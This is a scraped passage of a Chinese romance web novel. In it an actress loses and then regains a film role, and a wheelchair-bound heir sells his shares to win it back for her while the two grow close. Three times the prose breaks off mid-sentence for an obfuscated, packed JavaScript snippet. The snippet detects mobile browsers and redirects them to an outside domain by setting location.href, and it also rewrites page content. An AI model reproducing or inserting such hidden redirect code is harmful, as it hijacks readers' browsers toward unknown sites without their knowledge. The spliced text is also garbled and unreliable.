“没有名字,下次见面,叫我女侠便是。” 剧本上将女主离去前发丝刚好穿过男主手指尖的情节写得清清楚楚,柏原倚靠在床头正好视线落在沈鹮散落在胸前的长发上。 他学着剧本上所说那样从沈鹮耳后轻轻挑起一缕,光泽油亮的发丝很快从他指尖滑落,在他食指指节留下一片酥麻。 沈鹮没反应过来他会跟着剧本继续演下去,愣在原地和柏原对视几秒,清咳两声又垂下头装作认真翻看剧本的样子。 “阿鹮,剧本上是这么写的,我就……” “没,没事,走戏是应该这样。” 沈鹮这话不是骗人,男、女演员试戏会有所互动是最正常不过的事情。 都是专业出身,在片场走戏为了保证机位拍摄角度得当,搂搂抱抱,甚至偶尔有亲密戏份,嘴唇上亲两下,都是常有的事。 戏大过天。 没有任何一个演员会因为这点肢体接触就情绪起伏,那都是业余人士才会有的反应。 但为什么…… 为什么她有点心慌? 剧本上密密麻麻的印刷字体她突然间就看不进去了,找了个“口渴”的借口从柏原房间跑上二楼。 站在卧室的落地窗前平复了好几分钟,还是想不明白为什么刚才自己会这么反常? 口袋里的手机开始震动,屏幕上显示着“吴敏璇”的名字。 经纪人大晚上找自己一般都是急事,沈鹮赶紧按下接通。 “阿鹮,你那边有没有收到什么消息?” 电话那头吴敏璇的声音明显有些着急,这边沈鹮一颗心也马上被提到了嗓子眼。 “没有,什么消息?”沈鹮翻开微信上下滑动几个来回:“没看到有什么消息呀?” “有个事也是我刚刚才打听到的,”吴敏璇稍微顿了顿,似乎是在斟酌措辞:“付襄新电影的制片方有个我老朋友,人刚刚跟我偷偷报信说……” “……说是付导新电影的女主角准备要换人。” 8. 第 8 章 前一天沈鹮和吴敏璇的电话一直打到了半夜。 开机前一个月更换女主角的事情沈鹮不是没有遇到过,刚入圈还没站稳、又没有背景的那两年,有一回自己古装造型都扮上了,头顶着几斤重的假发套还是生生被人从化妆间“请”了出去。 只是这个机会千载难逢,她本来就为此做了许多准备。 武戏已经训练了小半个月,把自己身上搞得青一块紫一块;剧本上的台词也几乎全部背完,随便抽一集她都能闭着眼睛念出来,就这样眼睁睁地看着机会从指缝中溜走实在是心有不甘。 吴敏璇帮她从各个角度分析了一遍更换女主角背后的原因,有付襄导演看上了其他新人的可能性,也有资方突然发话要用自己派系艺人的可能性。 昨天晚上聊得时间太晚,最后还是吴敏璇先发话让沈鹮去休息,自己这两天再托关系打听打听到底是怎么回事。 话虽然说得轻巧,但沈鹮还是在床上辗转反侧到半夜才沉沉睡去,还做了个自己回到前几年,人到了拍摄现场,被场务大哥拦在门外不让进组的噩梦。 电影换角的事儿还没有个着落,但沈鹮也没准备就这么搁置了武馆的训练日程,原定好还有七次的武戏训练她准备按计划好好完成。 毕竟功不唐捐,她这人还是坚信所有付出的努力总有一天能得到回报。 就算这次和付襄导演的新电影无缘,积攒下来武打戏的基础也能在未来某天派上用场。 除此之外,已经接洽好的几个工作也不能停下。 吴敏璇给她安排了两套时尚杂志周刊,一本是十一月份的封面,另外一本是来年的开年大封。 按照她的咖位还达不到独自把开年大封扛下来的程度,当初接到杂志邀约的时候沈鹮和吴敏璇都有点震惊,还是杂志主编话里话外点了“柏原”的名字,才知道这个机会还是沾了人柏小少爷的光。 早上九点吴敏璇和沈鹮就坐上保姆车里往摄影棚的方向赶,这会儿沈鹮正靠在座椅上昏昏欲睡。 这几天她心里藏着事儿一直休息得不太好,吃早饭的时候柏原还盯着自己的黑眼圈看了一会儿,把她心都快看毛了才收回视线。 她余光瞟见柏原垂下头默默把白粥喝完,看不清表情也不说话,沈鹮一时也摸不清楚小少爷又动了什么心思。 “之前小玫把拍摄要用的服装都发给你看了吗?” 吴敏璇口中的“小玫”是跟了沈鹮两年的小助理。 二十出头的小姑娘,干事麻利又认真,吴敏璇还挺器重她,准备再历练一段时间升她做个执行经济。 “看了,一共三套,我都挺喜欢的,小玫前两天跟我发微信说已经给杂志那边打了招呼。” 这次开年封要和其他三位女明星一同拍摄,其中有两位分别是今年的新晋影后和视后,还有一位小花是势头正猛的人气女演员谭薇。 服装一共准备了三套,主题分别是过去、现在和未来。 未来主题的那套包含皮衣铆钉的设计,沈鹮看过示例图片,配上黑色墨镜有点“黑客帝国”的味道,她当时看到第一眼就喜欢得不得了,立刻叫小玫先把未来主题的服装敲定下来。 “待会儿好好表现,这本拍好了,说不定能把几个高奢代言谈下来。” 下车前吴敏璇附在沈鹮耳边低声嘱咐。 “知道了,我心里有数。” 她自然也明白一本时尚杂志背后不仅仅是拍几张照片那么简单,背后复杂的人际关系和抓住一次机会展现自我时尚表现力才是整个活动的重心。 进圈四、五年,她身上一直缺少一个高奢代言。 如果这次拍摄效果够好,入了某些时尚教头的法眼,未来拥有顶级时尚资源也只是时间问题。 沈鹮心里一边盘算着,一边跟在工作人员身后走进化妆间。 才走进化妆间没两步,原本闹哄哄的房间顿时诡异地安静下来。 摄影棚的化妆间够大,足够容纳四个女明星和她们的化妆团队,沈鹮的位置被安排在最里侧。 她压下心里奇异的不适感,面无表情地坐到自己的化妆台前,示意造型师准备开始。 转头的瞬间,沈鹮从面前化妆镜的反射中看到,站在她身后为谭薇服务的化妆师默不作声地向她这边隐约翻了个白眼,收到信号的女艺人立马瘪嘴笑了笑。 谭薇嘴角的讥讽稍纵即逝,却被沈鹮看得清清楚楚。 圈里勾心斗角、捧高踩低的事情太多,沈鹮本来就比其他人咖位略逊一筹,别人拿鼻孔瞧她也早在意料之内。 说不在意是不可能,但要是说难受倒也真谈不上。 这点冷遇就心里难受,那她的心理素质也忒脆弱了点。 跟在她身后的吴敏璇把一切也看在眼里,两人都心知肚明大概是怎么回事,交换了一个眼神之后就谁也没再吱声。 “几位老师,打扰一下!咱们再过半个小时开始进行正式拍摄,拜托老师们最后抓紧时间整理一下服装和造型。” 刚刚进化妆间推进流程的人沈鹮认识,就是今天这本杂志的副主编,他说话还是有点含金量,化妆间里大家手下忙活的速度肉眼可见地加快了许多。 妆容和造型基本结束,杂志实习生正好把拍摄服装用一排一架推进化妆间,每一套服装外面都套着一层塑料薄膜,上面标明了所属的艺人和主题。 吴敏璇帮沈鹮把写了她名字的三套衣服从衣架上取下来,“未来”主题要第一个进行拍摄,吴敏璇把手里那套黑色皮衣递给沈鹮:“赶紧去换上吧。” “行。” 沈鹮点点头进了换衣间,穿到一半就发现不对,她手里拿的这件皮衣根本就不是之前在微信上和杂志敲定的那件。 “敏璇姐,敏璇姐?这衣服有问……” 沈鹮从换衣间探出半个头,叫了两声吴敏璇的名字,话在嘴边才说到一半就看见谭薇从对面的换衣间慢慢走出,身上穿的刚好就是之前沈鹮最为喜欢的那件。 “怎么了?” 吴敏璇有些不解地回头,顺着沈鹮的视线侧身看向从她们面前走过的谭薇。 那身行头只要任何知晓内情的人看过一眼,当场就能反应过来这到底是怎么一回事。 沈鹮的衣服被换了。 且大概率,杂志方知道这事儿。 标签上“沈鹮”的名字写得清清楚楚,谭薇都已经快走到摄像机跟前了也没人提醒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14647765|156529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈鹮和吴敏璇都知道,今天这哑巴亏看来是要吃定了。 既然任何反抗都是徒劳,那索性放弃挣扎。 杂志拍摄从早晨一直进行到下午六点,除了四人合体的拍摄之外,还需要拍一些单人照,沈鹮果不其然被安排到了最后一个。 等沈鹮从摄影棚出来坐上保姆车的时候,看了眼手机屏幕,快到七点半,北京夜晚的天早就黑透了。 习惯性地点开微信回了几条工作消息,破天荒地,柏原的聊天框今天安静地出奇。 就连晚餐饭点的时间都过了,也没见他像往常一样跑来暗戳戳地试探两句,她到底什么时候到家。 忘记了? 还是身体不舒服? 想到柏原身体还没完全康复,沈鹮心里又开始七上八下。 拒绝了吴敏璇共进晚餐的邀约,转头就催着司机师傅稍微再开快点。 一进家门沈鹮就朝柏原房间里扫视一圈,又绕着客厅和餐厅走了两个来回,里里外外寻遍了也没找到熟悉的人影。 还是在厨房忙活的家政阿姨看她好像是在找人,主动和沈鹮解释:“柏先生今天下午说要出门一趟,蒋先生亲自过来把他接走的。” “他说他出去干什么了吗?” “好像没有……只说今天晚上晚餐不在家里吃,让我准备你的那份就好。” 沈鹮跟阿姨说了一声自己晚点再吃,然后就跑上了二楼房间。 关上卧室房门,沈鹮立刻从包里掏出手机拨通了柏原的电话号码。 十几秒过去,柏原手机依旧无人接听。 想起阿姨说今天下午蒋钦年也来了一趟,沈鹮没有蒋钦年的电话号码,直接转到微信拨通了语音电话。 十几秒过去,蒋钦年比柏原还要更加过分,无人接听就罢了,语音通话还被那边按了“拒绝”。 沈鹮心脏猛地一沉。 沈鹮这边质问的消息还没编辑好,蒋钦年那边的微信就已经发了过来:“鹮姐,我现在这边正忙着,实在接不了电话,有啥事儿你跟我发微信说。” 手上的动作停顿两秒,沈鹮把先前打的几个字删掉,换成一句:“你俩跑哪里去了?柏原呢?怎么都不接电话?” “我和小少爷现在在一起呢。” 说了和没说一样,她不知道他俩现在在一起吗?不知道的话怎么会给他打电话找柏原? 这回复显然无法令人满意,沈鹮又等了三分钟也没等到其他回应,心情有些急躁地连发了三个问号过去,蒋钦年那边才又有了回复。 “我的姑奶奶,您别生气呀,我不是故意不说,小少爷让我暂时别多嘴。” 可能是怕这个解释还不够,没等几秒蒋钦年又补了一句:“今晚我俩就回去了,人我肯定全须全尾地给您送回去,到时候您自个儿问他,肯定比现在问我强啊!” 两条消息沈鹮左瞧右看了半天,一句有效信息都没提取出来,合着人在哪以及为什么不接电话还是不能告诉自己呗。 气得沈鹮把手机扔到床上,冲下楼化愤怒为食欲。 柏原他爱去哪儿去哪儿,她才不关心呢! 脑震荡又头疼了,伤腿又浮肿了,她一丁点都不会再心疼了!! 9. 第 9 章 嘴上说着不在意,身体却无比诚实。 沈鹮吃完晚饭反常地没有直接上楼,而是抱胸端坐在客厅沙发,两眼涣散地盯着面前的电视机,平均三十秒换一个电视台,黄金档播出的电视剧没有一部能够吸引她多看一分钟以上。 心思早就飞到不知哪里去了。 家政阿姨看这样子就是有事儿,厨房收拾整齐之后就早早躲进了自己房间,没别的事情,今晚她是不准备再出来了。 中途沈鹮实在憋不住,跑上楼取了一趟自己的手机。 光秃秃的屏幕上没有一条来自柏原的回复,电子时钟也指向了晚上十点的方向。 好好好,混到这么晚还不回家是吧? 沈鹮咬了咬后槽牙,一屁股重重坐在沙发上。 她今天晚上倒是要看看,他柏原能坚持到几点再回家? 从黄金档的电视剧,再到次黄档的娱乐新闻,最后再到午夜场的惊悚电影,沈鹮一个人在客厅里把电视机遥控器按钮都快要按碎了,才终于听见门外电梯间传来轮椅在地板砖上滚动的摩擦声。 下意识地将电视机音量下调到最小,沈鹮屏气凝神听着大门外的动静。 “滴滴——”是指纹密码解锁失败的提示音。 “诶,不是这根手指吗?” “滴滴——”指纹密码再次解锁失败。 “不儿,小少爷,大拇指和食指都试了,你不会还没有被录入指纹吧?” 这几天柏原几乎大门不出,二门不迈,唯一一次下楼还是和沈鹮一起,谁都没有想起要给他录入指纹这件事。 沈鹮独自坐在空荡的客厅里,把门外蒋钦年的声音听得一清二楚。 她无声地冲天花板翻了个白眼,蹑手蹑脚地走到门边,趴在猫眼上第一眼看见的就是蒋钦年那张放大变形的大脸,把他身后的柏原挡得严严实实,只露出一个轮椅的边角。 “叩叩——”那张大脸正冲着门内一脸愁容:“鹮姐?鹮姐?我把小少爷送回来了?您给开个门呗?” 沈鹮偷偷伸手捂紧了嘴巴,生怕暴露了自己的位置,准备故意把两人在外面冷落一会儿,不然这两人以后还真分不清大小王了。 “鹮姐?鹮姐?” 蒋钦年又叫了几声听门内没有任何反应,按了几下门铃也没有人接,从口袋里摸出手机正准备拨通沈鹮的电话号码。 “靠!不是吧……” 才刚刚把手机屏幕解锁,蒋钦年就眼睁睁地看着掌心的手机突然黑屏,反复按下开机键也只有一个“电量低”的提示符号在屏幕中央反复闪烁。 “小少爷,你手机放哪了?借你手机给鹮姐打个电话。” 蒋钦年转身求助柏原,摸了摸柏原上身西服的口袋空无一物,想着手机大概放在裤子口袋里就连忙蹲下身。 通过猫眼中狭窄的视野,沈鹮终于看清了一直被蒋钦年堵在身后的柏原。 脱力斜靠在轮椅背上双眼微阖,颧骨泛起两坨不自然的潮红,眉头紧蹙好像呼吸也跟着沉重,被蒋钦年翻找口袋也只是任由他摆弄,嘴里嘟囔了一句什么沈鹮也听不大清。 “咔嚓——” 大门从内侧被人打开了。 “蒋钦年!你怎么把人搞成这个样子了?” 开门之后扑面而来的酒气让沈鹮立刻反应过来两个人晚上去过哪里,明明一周以前还是蒋钦年亲手发给自己的注意事项里面写明了禁烟禁酒,怎么转头他就把柏原带出去喝得醉成了一滩烂泥。 “鹮姐,我的好姐姐,真不是我把少爷灌醉,是……是,哎……” 蒋钦年一副欲言又止,忍着一口气吐不出来的憋屈样子。 “小少爷今天偏要找付导演吃饭,我劝了他根本没用,只能陪他一起过去,付导带了几个老板,都是些酒桌先喝高兴才能谈事儿的主儿,小少爷有求于人,不得顺着人家的规矩来嘛……” 这一番话算是把柏原卖了个底儿掉,告密都已经告完了才想起来害怕:“我跟您说了,您能装不知道这事儿吗?我就是觉得除了您,没人能再管得住他了,但这件事本身其实柏少千叮咛,万嘱咐,不让我说来着……” “付襄”的名字一出来,沈鹮就把今晚发生的一切猜了个七七八八。 自己被换角的事儿终究还是纸包不住火,不知道被柏原从谁那里打探到了消息,今晚这顿酒说到底还是为了自己组的局。 沈鹮整个晚上窝了一肚子的火突然就灭了。 冲着蒋钦年摆摆手:“知道了,赶紧把人推进屋吧,这样子得是喝了多少……” 蒋钦年的眼力价儿放在人群里绝对都是数一数二,眼看沈鹮脸色缓和了连忙一口一个“谢谢鹮姐”就推着柏原进了一楼卧室。 趁着沈鹮去洗手间打盆热水的空档,动作麻利地把人从轮椅搬上了床,还顺便把西服脱下,换上了睡衣。 想着喝醉了人身上肯定不舒服,以柏原现在的情况又不好洗澡,沈鹮特意把毛巾在热水里泡了泡才端出洗手间,刚踏进卧室就看见蒋钦年手里抓着一大把药片往柏原嘴里送。 沈鹮都不知道柏原平时的药量这么大。 “怎么吃这么多药?” “治疗哮喘的,消炎的,补钙的,帮助睡眠的……”蒋钦年把手摊开,如数家珍一般把手里药片的功效一一汇报给沈鹮:“每天差不多这些都要吃,一天三顿,大概就是这个量吧。” 别的功效沈鹮都能理解,独独“睡眠”她有点吃惊:“柏原还需要吃安眠药?他……他睡不着吗?” “嗯,从医院醒来医生就给开了安眠药,小少爷醒来以后成晚成晚地做噩梦,说是一直能梦见老爷子去世和自己出车祸的场景,不吃安眠药就完全睡不着。” 这事儿要不是沈鹮今天撞见了,估计能一直被蒙在鼓里。 沈鹮抿了抿唇没再说话,只是走到柏原床边把毛巾从热水里捞出来拧干,带着热气的毛巾覆在那人通红的面颊上轻柔地拭过,把他两鬓、脖后冒出的一茬茬冷汗细细擦去。 等热气跑走了大半,沈鹮又把毛巾泡在水盆里涮过一次,想着再帮柏原干干净净擦一遍。 没成想掌心才刚刚贴上那人脸颊,就被他转动脖颈压在了自己侧脸下边,末了还轻轻蹭了蹭。 “阿鹮……” 喝醉以后的晕乎劲儿还没过,柏原声音都听起来黏糊糊的。 微微张开的双眼睫毛颤巍巍的,蒙着一层水雾看向她的眼神温柔又依恋,没听见沈鹮的回应又唤了一声:“阿鹮……” 沈鹮眼看自己的手被柏原压着不放,想到房间里还有第三个人在场,登时脸上就有点发烫。 站在床尾的蒋钦年一看气氛不对,拿起搭在轮椅背后的外套就准备溜,跟沈鹮悄悄比了个手势就顺势把卧室门带上,没等主人发话就迅速逃离了事发现场。 给老板留下足够的个人空间,是一个私人助理必备的优秀素质。 蒋钦年这一套动作下来,搞得沈鹮更是尴尬。 她用力把手从柏原脸蛋下面抽出来,撂下一句“我去把水倒掉”就跑进了卫浴,撑在洗手台前给自己也洗了把脸才平复了些。 从卫浴出来的时候,沈鹮原本是打算给柏原把被子盖好就立马走人的。 谁知道刚一进卧室门,就看见柏原抻着脖子眼巴巴地往这个方向看,两只眼睛通红一片,和她对视不过两秒,豆大的泪珠就从眼眶滚落,滑进他鬓角的碎发中消失不见。 “这……这怎么还哭了?” 沈鹮坐到大床边上,帮他把散落在额前的湿发捋到耳后,还没等她收回手,就被柏原伸出手一把攥进了掌心。 “阿鹮,对不起,是我不好……” 刚说了几个字,又是两颗金豆子掉下来:“是我拖累你丢了女主角,付导私下跟我说过他很喜欢你,不是他要换掉你,是资方要换……” “如果我能更厉害,如果我能更早防着哥哥,就没有人能一句话把你给换掉……” “都是我不好,是我没做好。” 沈鹮打心里没怪过柏原。 按道理说,付襄的新电影一开始就不会轮到她来演,也是柏原把自己推到了付导面前才有机会得到大导演的赏识,不然估计付襄连自己的名字都想不起来。 角色被换掉她固然伤心,但有些时候,不是你的东西就不是你的。 有些事情是命,得认。 她沈鹮认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14647766|156529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,怪不得旁人。 但她没想到柏原不认,非但不认,还把错都揽到了他自己身上。 “不怪你,真不怪你,没有这个角色还有下一个,以后的机会还多得是,你别……” 柏原躺在床上突然剧烈地摇头:“不行,这个就要给你。” 抓着沈鹮的手放在自己脸上,笑得一脸灿烂:“嘿嘿,我把角色要回来了,他们给的条件是要柏氏我名下剩的那点股份,我想着反正哥哥迟早都要拿走,卖给他们也就卖了……” “你……你把股份卖了?” “嗯……没事儿,没来就不剩多少了。” “不不不,不是,一个角色而已,你把柏氏的股份都不要了?” 这会儿安眠药的药效慢慢上来,柏原脑袋昏昏沉沉地想要睡觉,眼前沈鹮却把一句车轱辘话不断重复,几乎停摆的大脑有些不理解:“阿鹮,你怎么翻来覆去就这一句话,卖了……” “不是,我就是觉得,是不是太冲动了……” “不冲动,”柏原的眼皮已经开始打架,说话的声音也越来越弱:“为你卖的,就不算冲动……” “阿鹮,我不冲动,你别跟我生气,你夸夸我……” “夸夸我嘛……” 沈鹮看着柏原呼吸一点点变得平稳,陷入沉睡前一秒还在嘟囔着叫她夸夸他,和她牵在一起的手也紧紧交握着怎么都不放开。 插在口袋里的手机开始疯狂震动,沈鹮拿出手机盯着屏幕上吴敏璇接到的最新消息默默看完,不过前后脚的时间差,角色又飞回她手里的事儿已经传开了。 关上手机,沈鹮没再挣开那只手。 牵着就牵着吧,省得这家伙又委屈上,搞得好像自己欺负了他似的。 - 晨光透过落地窗前的窗帘缝隙照在柏原脸上时,他才从昨夜的宿醉中慢慢苏醒。 昏沉的大脑还没有完全恢复运转,打在自己脖颈上的温热鼻息就把柏原吓得一个激灵差点从床上坐起。 向大床的另外一侧转头望去,沈鹮就侧卧着睡在他身边。 两人之间相距不过一拳的距离,沈鹮艳丽的五官视觉冲击力拉满,就连白皙红润的皮肤上细小毛孔都清晰可见。 更令人难以置信的是,她居然还跟他手牵着手。 有那么六、七秒的时间,柏原甚至都忘记了呼吸。 昨晚喝醉酒之后他的记忆就变得断断续续,从自己上车到被蒋钦年推进电梯,再到他被蒋钦年扯着手指在指纹锁上试来试去,还有…… 还有阿鹮蹲在他眼前帮他擦汗的画面!!! 阿鹮…… 阿鹮真好…… 阿鹮昨晚照顾自己了…… 柏原悄悄伸出一根手指,在沈鹮一边侧脸飞快地轻点一下,像是要确认眼前人到底是不是真实存在。 是真的…… 阿鹮真的就睡在自己眼前…… 阿鹮和自己一起睡了整晚…… 想到这里柏原就忍不住偷笑起来,流转的目光里倒映着沈鹮憨足的睡颜,害怕将她吵醒,只能贪恋地用目光把她脸上每一寸轮廓都细细刻进自己心里。 他甚至有些懊悔,昨天晚上怎么就沉睡了一晚,要是知道阿鹮就躺在自己身旁,他一定会抓紧能与她相处的每一分、每一秒。 怎么办? 这样的阿鹮好可爱,他好想亲亲她…… 亲亲她光洁的额头,亲亲她小巧的鼻尖,还有…… 还有她清早也依旧红润的双唇…… 但是亲了阿鹮的嘴唇会不会惹她生气? 柏原思索了几秒还是在激烈的思维挣扎之间选择在沈鹮额头上落下一吻。 甚至都不能算作一个吻,只是用嘴唇贴上片刻便立刻移开。 仅仅只是这样,还是惊醒了躺在他面前的睡美人。 从睡梦中突然睁开双眼的沈鹮立刻松开和柏原交叠在一起的手掌:“你……你醒了!” “早上好呀,阿鹮。” “早,早上好,”沈鹮伸出手掌摸了摸额头方才在睡梦中隐约有些触感的地方:“你刚刚是不是……” “早安吻,谢谢阿鹮昨晚照顾我。” 10. 第 10 章 柏原手机上正在播放一段还未完成的游戏Demo,是他在柏氏时少数亲自介入的业务板块之一。 柏老爷子生前宠柏原宠得厉害,二十四、五岁的人依旧能根据自己的兴趣爱好自由选择职业方向,热爱游戏就专门给他成立了一个独立的游戏工作室,两年下来投进去的资金就有几个亿。 平心而论,其实也不能全怪柏宁对柏原心里嫉恨,明明是和弟弟差不了几岁的年纪,弟弟就能享受人生实现梦想,自己却要被严格要求成为集团的顶梁柱,稍有不慎就是一顿劈头盖脸的责骂。 在这样父母偏心的家庭里长大,任谁都心里藏着一根刺。 因此当柏老爷子的遗嘱内容被柏原知晓的那刻,他就预料到哥哥会对自己不利,但同时他也知道哥哥对他下不了死手。 家族利益让他们反目成仇,血脉亲情却让兄弟俩做不到赶尽杀绝。 人性有时候也真挺复杂。 柏原已经飘远的思维被一阵铃声打断,屏幕上播放的视频自动暂停,来电提示上写着“蒋钦年”的名字。 “喂,小少爷。” “嗯,什么事?” “发您的游戏Demo是研发老大那边今天早上刚刚做完的,要是您觉得没问题,原班人马今天就能开始沿着这个方向继续做。” 游戏Demo确实做得不错,早上柏原也多看了两遍:“继续吧。” “得嘞!” 柏原紧皱的眉头没有松开,心里还盘算着其他事情:“还有个事,过两天我约几个投资人吃饭,你和我一起,把策划书和Demo都准备好,到时候得用。” 以前柏原没有概念,自打真正意义上成立了自己的游戏公司以后才发现,做个自研游戏真的和烧钱没有两样。 距离真正到达产品投入市场的阶段少说还有一年左右的时间,做生意动用自己手上的现金流是最后万不得已的选择,想要长期发展还是得吸引企业大量注资。 “没问题,小少爷,饭店之类的需要我预定吗?” “周五晚上在市中心定个包厢吧,策划书写好了提前发我,有必要的话拉几个负责人开个线上会议。” 触及到工作范围内的业务,柏原把基因里的商业天份发挥得彻底,言谈之间还继承了几分柏老爷子当年意气风发的味道。 蒋钦年答应地也利索:“知道了,您放心,我都记下了。” 正事基本上说完了蒋钦年那边听着却还是有些吞吞吐吐:“小少爷,昨儿晚上您和鹮姐……” 柏原这才反应上来蒋钦年昨晚上看到的应该比他本人记得的还多。 想到自己迷迷糊糊时被沈鹮用热毛巾擦过的侧脸和早晨起来偷偷亲吻过她的额头,刚刚还举着手机运筹帷幄的柏总突然就耳尖染上了一片粉红。 “不该打听的别瞎打听。” 跟在柏原身边久了,蒋钦年听得出柏原哪句话是开玩笑,哪句话是真生气。 这会儿柏原显然听着心情不错,蒋钦年赶紧趁热打铁:“昨晚上您都不知道,我刚把轮椅推进门,鹮姐一看见您喝醉的时候,那表情别提多心疼了!” 这里面蒋钦年添油加醋的成分不少,还特意略去了自己解释喝酒把自家老板出卖的那一段。 不过最后沈鹮给柏原擦脸那会儿,蒋钦年是真的从她脸上瞧出了几分心疼。 “是……是吗?” “那必须的,鹮姐这么温柔的样子我昨晚都是第一次见,您还别说,这招近水楼台真的有效果哈!” 电话这头的柏原明显脸上已经绷不住方才严肃的表情了,抿起的薄唇微微上翘,低垂的眼睫振翅般扑扇不停,眼眸里荡开一片悦动的欢欣。 “我还跟鹮姐说了你在医院做噩梦的事情,我当时看她心里应该有点被触动了,小少爷,我觉得你这回真的有戏!真的!” “嗯……我知道了。” 强作镇静地挂断了蒋钦年的电话,柏原抑制不住的心跳还在左胸下砰砰作响。 搭在轮椅扶手上的食指无意识地在原地画着圈,指尖微顿,又再次抬起点在自己的下唇上。 这里亲过阿鹮。 他好想,每天早上都能亲到阿鹮。 - 沈鹮从早上醒来就直奔武馆,连午饭都没来得及在家里吃。 昨晚上她也不知道自己什么时候就鬼使神差地在柏原屋里昏睡过去。 睡也就罢了,还整了一出早安吻,沈鹮脑子里从大清早开始就嗡嗡地叫个不停。 这明显超出了自己一开始的预期。 把柏原带回家一半是出于自己的人道主义关怀,另外一半是念及自己承过人家提携的旧情,她原来的想法就只是帮助他快些康复,其余的和自己毫不相干。 怎么就和他牵着手睡了一整夜呢? 是昨晚太累放松了警惕,还是因为他又帮了自己一时心软? 还是…… 还是自己也有些动心? 脑海里出现这个想法的时候把沈鹮自己都吓了一跳,练习连招的时候一时没注意差点把手里的木剑插到教练眼睛里。 “对不起,对不起,教练,我刚刚没注意。” “沈鹮,你自己数数,今天第几次走神了?” 沈鹮心虚地躲过教练审视的眼神,摸了摸鼻子没出声。 “行了,今天就练到这里结束吧,回去好好休息,调整好状态,明天再来可不能总分心了。” 今天从武馆出来得比平时要早,沈鹮抬头看了看天空,下午五点多钟北京傍晚的天色才刚刚擦黑。 打开车门,坐上驾驶座,沈鹮在方向盘上缓了几分钟依旧心乱如麻。 犹豫几秒,沈鹮终于启动车辆,又紧接着在下个路口给车调头,准备今晚在吴敏璇家里蹭顿晚饭再说。 在吴敏璇家一直磨蹭到晚上九点,终于在吴敏璇实在忍不住开始送客之后,沈鹮才恋恋不舍地把屁股从她家柔软的沙发垫上抬起。 再回到家里的时候已经接近十点,过了柏原每天晚上定点的睡眠时间,一楼客厅和厨房都是漆黑一片。 沈鹮稍稍弯腰看了一眼柏原房间门下的缝隙,没有光亮从里面透出来,想着他大概已经熄灯睡了,沈鹮才长舒一口气悄悄上了二楼。 在二楼浴室泡了会儿澡又花了四十分钟,沈鹮在浴室里穿好睡衣,回到卧室的路上要经过二楼的单面空廊。 空廊扶手一侧做了特别加固的玻璃透明设计,沈鹮每每从上面走过的时候只要略微俯视,就能将一楼客厅的全貌尽收眼底。 十点四十五,沈鹮走出浴室,经过空廊进入房间,步伐却在刚刚迈进卧室时生生停住。 刚刚习惯性向楼下客厅扫过一眼,她好像看见有个黑影绕着沙发晃悠。 “大晚上你不睡觉,在这儿瞎晃悠什么?” 客厅的灯被沈鹮挨个打开。 正好转圈转到客厅中央的柏原眼睛受不了光线刺激,条件反射飞快抬起一只手遮挡在眼前:“阿鹮,眼睛疼。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14647767|156529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哦,哦,”沈鹮手忙脚乱地又把客厅灯光关到只剩下两盏:“这样好点了吗?” 柏原小心翼翼地把手从眼前移开,用力眨巴眨巴自己被强光刺激到泛着水汽的眼睛,微红的眼圈看着沈鹮莫名就多了三分委屈:“好了……” 他两只胳膊用力,慢慢滑动轮椅停在沈鹮面前,抬眼看她的表情单纯又无辜:“阿鹮,怎么这么晚还不睡?” “……这话不应该是我问你吗?” “我,我睡不着,一闭上眼睛就……”柏原眼眸悄然低垂,说话的音调也微弱下去,轻飘飘地落在沈鹮心尖:“就做噩梦。” 蒋钦年昨晚跟沈鹮面前告过的“密”在此刻发挥了它最重要的用途。 沈鹮垂眼俯视柏原陷在轮椅里单薄的肩膀,略长的刘海儿遮住双眼只露出一个尖削的下巴,睡衣领子被解开两颗扣子正好看见他一对精致的锁骨。 生病这段时间他瘦了太多,那道身影在客厅昏暗的灯光下更显得落寞又无助。 “吃安眠药也睡不着吗?” “医生说,总吃也对身体不好。” “那我帮你热杯牛奶,会有帮助吗?” 柏原没出声,只是抬起他那双漂亮的桃花眼幽幽地望着沈鹮,伸出右手轻轻握住她垂在身侧的指尖:“阿鹮昨晚和我睡一起,我睡得最好。” “……”这话沈鹮没法儿接。 沉默几秒,还没等她想好措辞张口拒绝,柏原又拉住她食指指尖轻轻晃了晃:“就一晚,好不好?” “阿鹮,就一晚嘛,好不好……” 亮晶晶的双眸有些胆怯地仰望着她,眼底翻涌的期待让人难以忽略。 最终她还是没能甩开那只手。 沈鹮有些无奈地叹了口气:“说话算话,就今天一晚。” “嗯!说话算话!” 两人都已经换过睡衣,沈鹮扶着柏原帮他把自己从轮椅安全转移到床上,垫了软枕安顿好那人受伤的右腿,才掀开被子一角,躺在了大床的另外一边。 屋子里所有智能灯光被统一熄灭,黑漆漆的夜里柏原一双眼睛亮得出奇。 